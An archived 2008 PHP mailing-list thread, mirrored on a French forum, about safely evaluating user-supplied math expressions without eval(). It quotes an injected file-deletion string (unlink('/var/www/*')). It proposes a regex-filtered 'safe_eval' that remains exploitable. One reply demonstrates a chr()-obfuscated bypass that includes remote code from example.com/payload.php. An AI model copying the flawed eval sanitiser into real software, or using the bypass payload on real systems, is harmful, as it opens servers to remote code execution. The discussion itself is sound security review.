PHWinfo banniere

Titres
PORTAIL ANNUAIRE ARTICLES COMPARATEUR HÉBERGEURS DEVIS FORUMS RÉDUCTEUR D'URL
Précédent   PHWinfo > Autres forums > Forum Programmation & Conception > php.general > Evaluating math without eval()
S'inscrire FAQ Membres Recherche Messages du jour Marquer les forums comme lus
Evaluating math without eval()

Réponse
 
LinkBack Outils de la discussion
Vieux 10/04/2008, 13h52   #1
Jason Norwood-Young
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Evaluating math without eval()

Hi all

First post to this list! I'm trying to figure out how to evaluate a
string with a mathematical expression and get a result, but without
using eval() as I'm accepting user input into the string. I don't just
want addition, subtraction, multiplication and division - I'd like to
take advantage of other functions like ceil, floor etc.

So the string "18-10" should give me 8, "ceil(1/2)*10" should be 10 (if
my maths is correct) and the string "18-10;\r\nunlink('/var/www/*');"
should not execute.

Any ideas?

Thanks!
Jason

  Réponse avec citation
Vieux 10/04/2008, 14h15   #2
Richard Heyes
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()

> First post to this list! I'm trying to figure out how to evaluate a
> string with a mathematical expression and get a result, but without
> using eval() as I'm accepting user input into the string. I don't just
> want addition, subtraction, multiplication and division - I'd like to
> take advantage of other functions like ceil, floor etc.
>
> So the string "18-10" should give me 8, "ceil(1/2)*10" should be 10 (if
> my maths is correct) and the string "18-10;\r\nunlink('/var/www/*');"
> should not execute.


If you can provide your users with distinct inputs (if it's a form) go
that route.

--
Richard Heyes
Employ me:
http://www.phpguru.org/cv
  Réponse avec citation
Vieux 10/04/2008, 14h31   #3
Jason Norwood-Young
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()


On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
> > First post to this list! I'm trying to figure out how to evaluate a
> > string with a mathematical expression and get a result, but without
> > using eval() as I'm accepting user input into the string. I don't just
> > want addition, subtraction, multiplication and division - I'd like to
> > take advantage of other functions like ceil, floor etc.
> >
> > So the string "18-10" should give me 8, "ceil(1/2)*10" should be 10 (if
> > my maths is correct) and the string "18-10;\r\nunlink('/var/www/*');"
> > should not execute.

>
> If you can provide your users with distinct inputs (if it's a form) go
> that route.


Thanks Richard

Unfortunately it's not that simple. The equation sits in a DB and can be
anything - eg. ((([valuation]/[purchaseprice])/100)*100)/[numyears]
would be a typical field. [valuation], [purchaseprice] and [numyears]
gets replaced by relevant fields from user-entered data. But the system
is expandable which means I don't know what the equations, data or
fields are going to be beforehand.

I'm working on some kinda preg_replace function to sanitize the data at
the moment and then run an eval - arg I hate regexp! Ideally eval would
have some kind of sandboxing option, or you could limit the functions
available in an eval.

J

  Réponse avec citation
Vieux 10/04/2008, 15h42   #4
Jason Norwood-Young
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()

On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
> > First post to this list! I'm trying to figure out how to evaluate a
> > string with a mathematical expression and get a result, but without
> > using eval() as I'm accepting user input into the string. I don't just
> > want addition, subtraction, multiplication and division - I'd like to
> > take advantage of other functions like ceil, floor etc.


In reply to my own question, I came up with the following function based
on a comment on php.net
(http://www.php.net/manual/en/function.eval.php#71045). I had a look at
the array returned by get_defined_functions() and the maths functions
seem mostly to be grouped (with the exception of the random number
stuff). It works on my installation but there's nothing in the
documentation about get_defined_functions() returning in a particular
order - it would be safer to list each math function but I'm lazy.

protected function safe_eval($s) {
$funcs=get_defined_functions();
$funcs=$funcs["internal"];
$funcs=array_slice($funcs,array_search("abs",
$funcs),array_search("rad2deg",$funcs)-array_search("abs",$funcs));
$sfuncs="(".implode(")(",$funcs).")";
$s=preg_replace('`([^+\-*=/\(\)\d\^<>&|\.'.$sfuncs.']*)`','',$s);
if (empty($s)) {
return 0;
} else {
try {
eval("\$s=$s;");
return $s;
} catch(Exception $e) {
return 0;
}
}
}

  Réponse avec citation
Vieux 10/04/2008, 18h58   #5
Jim Lucas
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()

Jason Norwood-Young wrote:
> On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
>>> First post to this list! I'm trying to figure out how to evaluate a
>>> string with a mathematical expression and get a result, but without
>>> using eval() as I'm accepting user input into the string. I don't just
>>> want addition, subtraction, multiplication and division - I'd like to
>>> take advantage of other functions like ceil, floor etc.
>>>
>>> So the string "18-10" should give me 8, "ceil(1/2)*10" should be 10 (if
>>> my maths is correct) and the string "18-10;\r\nunlink('/var/www/*');"
>>> should not execute.

>> If you can provide your users with distinct inputs (if it's a form) go
>> that route.

>
> Thanks Richard
>
> Unfortunately it's not that simple. The equation sits in a DB and can be
> anything - eg. ((([valuation]/[purchaseprice])/100)*100)/[numyears]
> would be a typical field. [valuation], [purchaseprice] and [numyears]
> gets replaced by relevant fields from user-entered data. But the system
> is expandable which means I don't know what the equations, data or
> fields are going to be beforehand.


Maybe something like this

<?php

$eq = '((([valuation]/[purchaseprice])/100)*100)/[numyears]';

$valuation = $_GET['valuation'];
$purchaseprice = $_GET['purchaseprice'];
$numyears = $_GET['numyears'];

if ( is_numeric( $valuation ) &&
is_numeric( $purchaseprice ) &&
is_numeric( $numyears ) ) {

$eq = str_replace('[valuation]', $valuation, $eq);
$eq = str_replace('[purchaseprice]', $purchaseprice, $eq);
$eq = str_replace('[numyears]', $numyears, $eq);

$result = eval("return {$eq};");

echo $result;

} else {
echo 'Something failed the number test!';
}

?>

Anyone have suggestions on tests that is_numeric() might not catch?

>
> I'm working on some kinda preg_replace function to sanitize the data at
> the moment and then run an eval - arg I hate regexp! Ideally eval would
> have some kind of sandboxing option, or you could limit the functions
> available in an eval.
>
> J
>
>


--
Jim Lucas

"Some men are born to greatness, some achieve greatness,
and some have greatness thrust upon them."

Twelfth Night, Act II, Scene V
by William Shakespeare

  Réponse avec citation
Vieux 11/04/2008, 11h26   #6
Robin Vickery
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()

On 10/04/2008, Jason Norwood-Young <jason@freespeechpub.co.za> wrote:
> On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
>
> > > First post to this list! I'm trying to figure out how to evaluate a
> > > string with a mathematical expression and get a result, but without
> > > using eval() as I'm accepting user input into the string. I don't just
> > > want addition, subtraction, multiplication and division - I'd like to
> > > take advantage of other functions like ceil, floor etc.

>
>
> In reply to my own question, I came up with the following function based
> on a comment on php.net
> (http://www.php.net/manual/en/function.eval.php#71045). I had a look at
> the array returned by get_defined_functions() and the maths functions
> seem mostly to be grouped (with the exception of the random number
> stuff). It works on my installation but there's nothing in the
> documentation about get_defined_functions() returning in a particular
> order - it would be safer to list each math function but I'm lazy.
>
> protected function safe_eval($s) {
> $funcs=get_defined_functions();
> $funcs=$funcs["internal"];
> $funcs=array_slice($funcs,array_search("abs",
> $funcs),array_search("rad2deg",$funcs)-array_search("abs",$funcs));
> $sfuncs="(".implode(")(",$funcs).")";
> $s=preg_replace('`([^+\-*=/\(\)\d\^<>&|\.'.$sfuncs.']*)`','',$s);
> if (empty($s)) {
> return 0;
> } else {
> try {
> eval("\$s=$s;");
> return $s;
> } catch(Exception $e) {
> return 0;
>
> }
> }
> }


That kind of thing is pretty dangerous.

In this case the regex is broken - you're putting all the function
names within the character class. That means that any character
contained within one of the allowed function names may be used in the
eval. So you can use any function that consists entirely of the
characters

abcdefghilmnopqrstuwxy01234567890_+-*=/^<>&|

which means you can include() malicious content like this:

safe_eval('include(chr(104).chr(116).chr(116).chr( 112).chr(58).chr(47).chr(47).chr(101).chr(120).chr (97).chr(109).chr(112).chr(108).chr(101).chr(46).c hr(99).chr(111).chr(109).chr(47).chr(112).chr(97). chr(121).chr(108).chr(111).chr(97).chr(100).chr(46 ).chr(112).chr(104).chr(112))');

which evaluates to include('http://example.com/payload.php')

-robin
  Réponse avec citation
Vieux 12/04/2008, 16h05   #7
Ray Hauge
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()

Jason Norwood-Young wrote:
> On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
>>> First post to this list! I'm trying to figure out how to evaluate a
>>> string with a mathematical expression and get a result, but without
>>> using eval() as I'm accepting user input into the string. I don't just
>>> want addition, subtraction, multiplication and division - I'd like to
>>> take advantage of other functions like ceil, floor etc.
>>>
>>> So the string "18-10" should give me 8, "ceil(1/2)*10" should be 10 (if
>>> my maths is correct) and the string "18-10;\r\nunlink('/var/www/*');"
>>> should not execute.

>> If you can provide your users with distinct inputs (if it's a form) go
>> that route.

>
> Thanks Richard
>
> Unfortunately it's not that simple. The equation sits in a DB and can be
> anything - eg. ((([valuation]/[purchaseprice])/100)*100)/[numyears]
> would be a typical field. [valuation], [purchaseprice] and [numyears]
> gets replaced by relevant fields from user-entered data. But the system
> is expandable which means I don't know what the equations, data or
> fields are going to be beforehand.
>
> I'm working on some kinda preg_replace function to sanitize the data at
> the moment and then run an eval - arg I hate regexp! Ideally eval would
> have some kind of sandboxing option, or you could limit the functions
> available in an eval.
>
> J
>
>


you might be able to leverage a call to expr on a bash sell. Just
replace the variables you're expecting with preg_replace or some similar
function.

http://hacktux.com/bashmath
http://sysblogd.wordpress.com/2007/0...ing-that-bash/

I'm not sure if that's any more secure than eval though.

--
Ray Hauge
www.primateapplications.com
  Réponse avec citation
Vieux 14/04/2008, 08h44   #8
Jason Norwood-Young
Aucun Avatar
 
Messages: n/a
Hébergeur:
Par défaut Re: [PHP] Evaluating math without eval()


On Sat, 2008-04-12 at 09:05 -0500, Ray Hauge wrote:
>
> you might be able to leverage a call to expr on a bash sell. Just
> replace the variables you're expecting with preg_replace or some

similar
> function.
>
> http://hacktux.com/bashmath
>

http://sysblogd.wordpress.com/2007/0...ing-that-bash/
>
> I'm not sure if that's any more secure than eval though.


Good idea Ray. I'm thinking that it might be safer to exec a separate
app - preferably sandboxed. That way it could still be PHP (or anything
else really) but without the headache of compromising the main
application.

J

  Réponse avec citation
Réponse


Outils de la discussion

Règles de messages
Vous ne pouvez pas créer de nouvelles discussions
Vous ne pouvez pas envoyer des réponses
Vous ne pouvez pas envoyer des pièces jointes
Vous ne pouvez pas modifier vos messages

Les balises BB sont activées : oui
Les smileys sont activés : oui
La balise [IMG] est activée : oui
Le code HTML peut être employé : non
Trackbacks are oui
Pingbacks are oui
Refbacks are oui


Fuseau horaire GMT +1. Il est actuellement 04h00.


Édité par : vBulletin® version 3.7.3
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0 RC5 Tous droits réservés.
Version française #16 par l'association vBulletin francophone
PHWinfo est un site Éducation Sans Frontières ©2000-2008
Ad Management by RedTyger
©Tous droits réservés par les parties respectives
Page generated in 0,19774 seconds with 16 queries